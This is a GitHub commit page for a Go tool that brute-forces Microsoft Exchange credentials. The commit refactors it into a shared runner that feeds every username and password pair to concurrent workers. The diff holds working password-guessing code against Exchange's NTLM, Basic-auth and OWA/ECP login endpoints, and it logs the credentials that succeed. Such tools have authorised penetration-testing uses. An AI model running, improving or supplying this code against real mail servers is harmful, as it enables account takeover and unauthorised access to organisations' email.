Skip to content

Commit

Permalink
refactor: 优化代码结构
Browse files Browse the repository at this point in the history
优化代码结构, 将 Runner 和 Worker 分离, 使用 Runner 统一调度 Worker
  • Loading branch information
X1r0z committed Aug 8, 2023
1 parent 1db5e6a commit 1893e56
Show file tree
Hide file tree
Showing 7 changed files with 97 additions and 143 deletions.
46 changes: 5 additions & 41 deletions lib/basicbrute.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,59 +2,23 @@ package lib

import (
"net/http"
"net/url"
"sync"
"time"
)

func BasicBruteWorker(u string, domain string, task chan []string, delay int) {
func BasicBruteWorker(info *TaskInfo) {

for data := range task {
for data := range info.task {
username, password := data[0], data[1]
Log.Debug("[*] 尝试: %v:%v", username, password)
req, _ := http.NewRequest("GET", u, nil)
req.SetBasicAuth(domain+"\\"+username, password)
req, _ := http.NewRequest("GET", info.u, nil)
req.SetBasicAuth(info.domain+"\\"+username, password)
req.Header.Add("Connection", "close")
res, _ := Client.Do(req)
if res.StatusCode != 401 && res.StatusCode != 408 && res.StatusCode != 504 {
Log.Success("[+] 成功: %v", username+":"+password)
} else {
Log.Failed("[-] 失败: %v", username+":"+password)
}
time.Sleep(time.Second * time.Duration(delay))
time.Sleep(time.Second * time.Duration(info.delay))
}
}

func BasicBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int, delay int) {

authPath := ExchangeUrls[mode]
u, _ := url.JoinPath(targetUrl, authPath)
Log.Info("[*] 使用 %v 接口爆破: %v", mode, targetUrl)

task := make(chan []string, len(userDict)*len(passDict))

t1 := time.Now()

for _, username := range userDict {
for _, password := range passDict {
data := []string{username, password}
task <- data
}
}
close(task)

var wg sync.WaitGroup

for i := 0; i < n; i++ {
wg.Add(1)
go func() {
defer wg.Done()
BasicBruteWorker(u, domain, task, delay)
}()
}

wg.Wait()

t2 := time.Now()
Log.Info("[*] 耗时: %v", t2.Sub(t1))
}
53 changes: 9 additions & 44 deletions lib/httpbrute.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,33 +4,32 @@ import (
"net/http"
"net/url"
"strings"
"sync"
"time"
)

func HttpBruteWorker(targetUrl string, mode string, u string, domain string, task chan []string, delay int) {
func HttpBruteWorker(info *TaskInfo) {

var refUrl string
if mode == "owa" {
refUrl, _ = url.JoinPath(targetUrl, "/owa/")
if info.mode == "owa" {
refUrl, _ = url.JoinPath(info.targetUrl, "/owa/")
} else {
refUrl, _ = url.JoinPath(targetUrl, "/ecp/")
refUrl, _ = url.JoinPath(info.targetUrl, "/ecp/")
}
referer, _ := url.JoinPath(targetUrl, "/owa/auth/logon.aspx?replaceCurrent=1&url="+refUrl)
referer, _ := url.JoinPath(info.targetUrl, "/owa/auth/logon.aspx?replaceCurrent=1&url="+refUrl)

for data := range task {
for data := range info.task {
username, password := data[0], data[1]
Log.Debug("[*] 尝试: %v:%v", username, password)
form := url.Values{
"destination": {refUrl},
"flags": {"4"},
"forcedownlevel": {"0"},
"username": {domain + "\\" + username},
"username": {info.domain + "\\" + username},
"password": {password},
"passwordText": {""},
"isUtf8": {"1"},
}
req, _ := http.NewRequest("POST", u, strings.NewReader(form.Encode()))
req, _ := http.NewRequest("POST", info.u, strings.NewReader(form.Encode()))
req.Header.Set("Cache-Control", "max-age=0")
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Referer", referer)
Expand All @@ -47,40 +46,6 @@ func HttpBruteWorker(targetUrl string, mode string, u string, domain string, tas
} else {
Log.Failed("[-] 失败: %v", username+":"+password)
}
time.Sleep(time.Second * time.Duration(delay))
time.Sleep(time.Second * time.Duration(info.delay))
}
}

func HttpBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int, delay int) {

authPath := ExchangeUrls[mode]
u, _ := url.JoinPath(targetUrl, authPath)
Log.Info("[*] 使用 %v 接口爆破: %v", mode, targetUrl)

task := make(chan []string, len(userDict)*len(passDict))

t1 := time.Now()

for _, username := range userDict {
for _, password := range passDict {
data := []string{username, password}
task <- data
}
}
close(task)

var wg sync.WaitGroup

for i := 0; i < n; i++ {
wg.Add(1)
go func() {
defer wg.Done()
HttpBruteWorker(targetUrl, mode, u, domain, task, delay)
}()
}

wg.Wait()

t2 := time.Now()
Log.Info("[*] 耗时: %v", t2.Sub(t1))
}
8 changes: 1 addition & 7 deletions lib/kerberosbrute.go
Original file line number Diff line number Diff line change
@@ -1,11 +1,5 @@
package lib

import "time"

func KerberosBruteWorker(u string, domain string, task chan []string, limiter <-chan time.Time) {

}

func KerberosBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int, delay int) {
func KerberosBruteWorker(info *TaskInfo) {

}
46 changes: 5 additions & 41 deletions lib/ntlmbrute.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,18 +2,16 @@ package lib

import (
"net/http"
"net/url"
"sync"
"time"
)

func NtlmBruteWorker(u string, domain string, task chan []string, delay int) {
func NtlmBruteWorker(info *TaskInfo) {

for data := range task {
for data := range info.task {
username, password := data[0], data[1]
Log.Debug("[*] 尝试: %v:%v", username, password)
req, _ := http.NewRequest("GET", u, nil)
req.SetBasicAuth(domain+"\\"+username, password)
req, _ := http.NewRequest("GET", info.u, nil)
req.SetBasicAuth(info.domain+"\\"+username, password)
res, _ := NtlmClient.Do(req)
if res.StatusCode == 403 {
Log.Failed("[*] 403 错误")
Expand All @@ -22,40 +20,6 @@ func NtlmBruteWorker(u string, domain string, task chan []string, delay int) {
} else {
Log.Failed("[-] 失败: %v", username+":"+password)
}
time.Sleep(time.Second * time.Duration(delay))
time.Sleep(time.Second * time.Duration(info.delay))
}
}

func NtlmBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int, delay int) {

authPath := ExchangeUrls[mode]
u, _ := url.JoinPath(targetUrl, authPath)
Log.Info("[*] 使用 %v 接口爆破: %v", mode, targetUrl)

task := make(chan []string, len(userDict)*len(passDict))

t1 := time.Now()

for _, username := range userDict {
for _, password := range passDict {
data := []string{username, password}
task <- data
}
}
close(task)

var wg sync.WaitGroup

for i := 0; i < n; i++ {
wg.Add(1)
go func() {
defer wg.Done()
NtlmBruteWorker(u, domain, task, delay)
}()
}

wg.Wait()

t2 := time.Now()
Log.Info("[*] 耗时: %v", t2.Sub(t1))
}
61 changes: 61 additions & 0 deletions lib/run.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
package lib

import (
"net/url"
"sync"
"time"
)

type TaskInfo struct {
targetUrl string
mode string
u string
domain string
task chan []string
delay int
}

type BruteWorker func(info *TaskInfo)

func BruteRunner(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int, delay int, worker BruteWorker) {

authPath := ExchangeUrls[mode]
u, _ := url.JoinPath(targetUrl, authPath)
Log.Info("[*] 使用 %v 接口爆破: %v", mode, targetUrl)

task := make(chan []string, len(userDict)*len(passDict))

info := &TaskInfo{
targetUrl: targetUrl,
mode: mode,
u: u,
domain: domain,
task: task,
delay: delay,
}

t1 := time.Now()

for _, username := range userDict {
for _, password := range passDict {
data := []string{username, password}
task <- data
}
}
close(task)

var wg sync.WaitGroup

for i := 0; i < n; i++ {
wg.Add(1)
go func() {
defer wg.Done()
worker(info)
}()
}

wg.Wait()

t2 := time.Now()
Log.Info("[*] 耗时: %v", t2.Sub(t1))
}
2 changes: 1 addition & 1 deletion lib/util.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ var ExchangeUrls = map[string]string{
"ews": "/ews",
"mapi": "/mapi",
"activesync": "/Microsoft-Server-ActiveSync",
"oab": "/oab", // TODO
"oab": "/oab",
"rpc": "/rpc",
"owa": "/owa/auth.owa",
"powershell": "/powershell",
Expand Down
24 changes: 15 additions & 9 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -41,12 +41,13 @@ func main() {

lib.Log = &lib.Logging{Verbose: v, IsDebug: debug}

if targetUrl == "" {
lib.Log.Failed("[-] Exchange 服务器地址为空")
os.Exit(0)
}

if check {
if targetUrl != "" {
lib.Check(targetUrl)
} else {
lib.Log.Failed("[-] Exchange 服务器地址为空")
}
lib.Check(targetUrl)
} else {

userFp, _ := os.Open(user)
Expand All @@ -63,17 +64,22 @@ func main() {
userDict = userDict[:len(userDict)-1]
passDict = passDict[:len(passDict)-1]

var worker lib.BruteWorker

switch mode {
case "autodiscover", "ews", "mapi", "oab", "rpc":
lib.NtlmBruteRun(targetUrl, mode, domain, userDict, passDict, n, delay)
worker = lib.NtlmBruteWorker
case "activesync":
lib.BasicBruteRun(targetUrl, mode, domain, userDict, passDict, n, delay)
worker = lib.BasicBruteWorker
case "owa", "ecp":
lib.HttpBruteRun(targetUrl, mode, domain, userDict, passDict, n, delay)
worker = lib.HttpBruteWorker
case "powershell":
lib.KerberosBruteRun(targetUrl, mode, domain, userDict, passDict, n, delay)
worker = lib.KerberosBruteWorker
default:
lib.Log.Failed("[-] Exchange 接口无效")
os.Exit(0)
}

lib.BruteRunner(targetUrl, mode, domain, userDict, passDict, n, delay, worker)
}
}

0 comments on commit 1893e56

Please sign in to comment.